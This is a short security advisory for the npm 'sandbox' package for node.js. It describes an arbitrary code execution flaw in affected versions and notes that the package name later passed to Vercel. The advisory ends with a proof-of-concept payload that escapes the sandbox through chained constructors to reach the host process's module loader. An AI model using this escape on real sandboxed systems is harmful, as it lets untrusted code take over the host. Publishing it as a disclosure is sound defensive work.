Arbitrary Code Execution Affecting sandbox package, versions <1.0.0-beta.1>=2.0.0-alpha2 <2.0.0

sandbox is a nifty javascript sandbox for node.js.

Affected versions of this package are vulnerable to Arbitrary Code Execution. It is possible to escape the sandbox by using a combination of functions and constructors, allowing an attacker to gain access to a process with root permissions and load modules of their choosing to execute malicious code.

Note: In June 2025, Vercel announced the launch of their Sandbox SDK and later, on 2025-10-15, Vercel claimed the name "Sandbox" for the npm package previously maintained by Gianni Chiappetta. This vulnerability concerns the original package, not the Vercel Sandbox.

new Function("
  return (
    this.constructor.constructor('
      return (this.process.mainModule.constructor._load
     )'
    )())"
  )()
("util").inspect("hi")

• GitHub Advisory
• GitHub Issue